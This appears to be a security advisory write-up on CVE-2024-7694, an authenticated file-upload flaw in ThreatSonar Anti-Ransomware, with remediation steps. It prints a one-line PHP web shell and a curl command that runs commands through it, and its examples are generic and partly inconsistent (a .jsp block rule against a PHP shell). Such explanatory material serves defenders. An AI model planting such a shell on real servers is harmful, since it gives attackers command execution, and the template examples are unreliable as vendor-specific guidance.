CVE-2024-7694 is a high-severity vulnerability in TeamT5 ThreatSonar Anti-Ransomware versions 3.4.5 and earlier. The issue stems from insufficient validation of uploaded file content by the product. This flaw allows a remote attacker who has already obtained administrator privileges on the ThreatSonar platform to upload a malicious file. Due to the improper filtering, the system does not adequately check the file’s contents. Consequently, the attacker can leverage this uploaded file to execute arbitrary system commands directly on the underlying server hosting the ThreatSonar software. This effectively allows an administrator-level compromise of the application to escalate into a full server compromise, leading to a complete loss of confidentiality, integrity, and availability.
Platform: ThreatSonar Anti-Ransomware
Version: 3.4.5 and earlier
Vulnerability : Arbitrary File Upload
Severity: High (CVSS 7.2)
date: 2024-08-12
Prediction: Patches available (3.5.0/Hotfix-20240715)
What Undercode Say:
Analytics
The vulnerability allows for a privilege escalation from application administrator to system-level control on the server.
Example: Checking the current version of ThreatSonar on a Linux server The exact command may vary; this is a conceptual example. cat /opt/teamt5/threatsonar/version.txt
Example: A vulnerable application might accept a file upload via a POST request. An attacker could intercept this request using a tool like Burp Suite. curl -X POST -F "[email protected]" http://<target-server>/uploadEndpoint
Exploit
An authenticated administrator can upload a web shell or a reverse shell script disguised as a legitimate update or report file.
Example: Simple malicious PHP script (webshell) that could be uploaded. Content of a file named 'image.php' <?php system($_GET['cmd']); ?>
After uploading the webshell, the attacker can execute system commands. curl "http://<target-server>/path/to/uploaded/image.php?cmd=whoami"
Protection
Update to the latest patched version or apply the hotfix immediately. Restrict and monitor administrative access.
Example: Applying the official hotfix (hypothetical steps based on vendor advisory) 1. Download Hotfix-20240715 from the official TeamT5 portal. 2. Run the installer with administrative privileges. sudo ./ThreatSonar_Hotfix-20240715.sh
As a defense-in-depth measure, use a Web Application Firewall (WAF) rule to block file types. Example ModSecurity rule to block .jsp uploads (conceptual). SecRule FILES "@endsWith .jsp" "id:1001,phase:2,deny,msg:'Blocked JSP Upload'"
Impact
Successful exploitation grants an attacker full control over the server, enabling data theft, ransomware deployment, or using the server as a pivot point for further network attacks.
